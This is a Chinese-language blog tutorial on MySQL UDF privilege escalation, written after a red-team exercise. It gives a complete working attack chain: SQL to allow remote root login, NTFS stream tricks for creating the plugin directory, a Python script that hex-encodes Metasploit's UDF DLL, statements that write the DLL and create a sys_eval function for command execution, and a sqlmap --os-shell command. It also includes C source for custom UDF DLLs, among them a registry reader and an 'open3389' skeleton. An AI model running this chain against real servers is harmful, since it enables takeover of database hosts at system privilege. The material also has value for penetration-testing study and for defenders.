其实这玩意一直以来也没能引起我的重视,原因正如标题那般。它太老旧了,以至于让我们都忘记还有这种攻击手法了。直到最近的一次攻防演练中,队友用到了MDUT,根据我们获取到的MYSQL账号密码,成功获取对方主机的控制权限时,我才意识到这个古老的UDF提权,似乎在这个时代还能发挥他的作用!正值今年的主题是《知识补全计划》,那一定要补全一下自己这方面知识的不足。我很喜欢在主题开始前写一些文字,这些文字能够帮助我记录下来,我为什么学这个东西,又为什么写这篇文章。好了,废话就这么多,让我们回到那个年代,重温经典的提权漏洞。
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的'udf.dll'(动态链接库)。当我们把'udf.dll'导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
你可能看这么一大段也不知道为啥这个漏洞就UDF提权。很简单,你现在的Webshell是一个低权限。然而你可以通过翻找网站的配置文件拿到MYSQL的
root
账号。然后再通过MYSQL的特性来获取一个以system权限执行命令的"机会"。然而你会发现,这个漏洞的根本就是借用MYSQL来完成
任意命令执行
。换句话说,如果对方的MYSQL符合要求,同时MYSQL开启外链那么我们就可以远程命令执行这台主机,拿到这台MYSQL主机的权限。
为了模拟上次内网的环境,需要开启MYSQL外链
xxxxxxxxxx
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'WITH GRANT OPTION;
FLUSH PRIVILEGES;
利用条件:
本次测试的服务器版本:Windows server 2008
MYSQL版本:5.1.73
记得这个导出的限制为"空"
看了看网上的教程,感觉这个玩意真的很水。
网上一直在告知我们,可以使用这种方式去创建文件夹:
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
但我始终没法创建成功,只好手动先创建个plugin
文件夹了(真实环境下有可能对方因为网站功能所需还真导入过一些他们写好的东西,这样就很爽了,跟上次一样)
说一点,SQLMAP问你32位还是64位可不要误以为是
操作系统
的版本。其英文原文为:what is the back-end database management system architecture?
翻译过来就是:
后端数据库管理系统的体系结构是什么?
也就是说,实际上询问的是你的
MYSQL
是32位还是64位的。可以使用
show variables like '%version_%'
来查看。
将MSF中提供给我们用的UDF编码,路径为:
/usr/share/metasploit-framework/data/exploits/mysql/
hex转换脚本:
xxxxxxxxxx
with open(r"lib_mysqludf_sys_64.dll",'rb') as f:
hexdata = f.read().hex()
print("0x"+hexdata)
注意,转换出来的内容太多了,一定要重定向到一个文本里去!
然后MYSQL执行:
xxxxxxxxxx
use mysql;
-- 创建临时表,好把内容写进入,一会儿再导出来
create table temp(data longblob);
-- 利用上面提供的脚本把dll的hex编码填进来
insert into temp(data) values (0x4d5a...);
-- 选择导出路径
select data from temp into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll";
-- 创建函数sys_eval
create function sys_eval returns string soname 'udf.dll';
全部OK,接下来我们看怎么命令执行
select sys_eval('whoami');
MDUT或者SQLMP都可以做到这件事。工具不过是点点就完事了,不再赘述。
python3 sqlmap.py -d "mysql://root:hacker1961@192.168.72.128:3306/mysql" --os-shell
MDUT点一点就行,真没有必要再说了
我想,底层篇至少是不能潦草结束的。肯定需要更为"底层"的东西。那么UDF提权我们能了解的,最底层的东西是什么呢?应该就是UDF.dll本身了。
主体代码
xxxxxxxxxx
ANDLE g_module;
//--------------------------------------------------------------------------------------------------------------------------
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
g_module = hModule;
} return TRUE;
}
UDF独有代码结构
xxxxxxxxxx
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
//在open3389函数之前调用,一般用于初始化工作,为可选函数;
//return 1出错 ,0 正常
return 0;
}
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)
{
//真正实现功能的函数,必需函数;
/*
函数内容;
return 结果;
*/
}
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)
{
//在open3389函数之后调用,一般用于内存释放,可选函数;
}
比如一个读取注册表的dll可以这么写:
xxxxxxxxxx
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *regread(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=3 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || stricmp(args->args[0],"help")==0) //使用帮助部分
{
initid->ptr=(char *)malloc(250);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"读注册表函数.\r\n例:select regread(\"HKEY_LOCAL_MACHINE\",\"SYSTEM\\\\ControlSet001\\\\Services\\\\W3SVC\\\\Parameters\\\\Virtual Roots\",\"/\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");
*length=strlen(initid->ptr);
return initid->ptr;
}
//定义Key部分
DWORD a,b,c;
BYTE bytere[1000];
HKEY key,key2;
if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0)
key=HKEY_LOCAL_MACHINE;
else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0)
key=HKEY_CLASSES_ROOT ;
else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0)
key=HKEY_CURRENT_USER ;
else if(strcmp("HKEY_USERS ",(args->args)[0])==0)
key=HKEY_USERS ;
else
{
initid->ptr=(char *)malloc(50+strlen((args->args)[0]));
sprintf(initid->ptr,"未知的注册表句柄:%s\r\n",(args->args)[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
//真正实现功能部分
RegCreateKeyEx(key,(args->args)[1],0,0,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&key2,&b);
if(b==REG_OPENED_EXISTING_KEY)
{
if(!RegQueryValueEx(key2,(args->args)[2],0,&a,bytere,&c))
{
CloseHandle(key2);
initid->ptr=(char *)malloc(1001);
memset(initid->ptr,0,1001);
strcpy(initid->ptr,(char *)bytere);
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
CloseHandle(key2);
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"找不注册表值\r\n");
*length=strlen(initid->ptr);
return initid->ptr;
}
}
else
{
CloseHandle(key2);
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"找不注册表项\r\n");
*length=strlen(initid->ptr);
return initid->ptr;
} }
extern "C" __declspec(dllexport)void regread_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}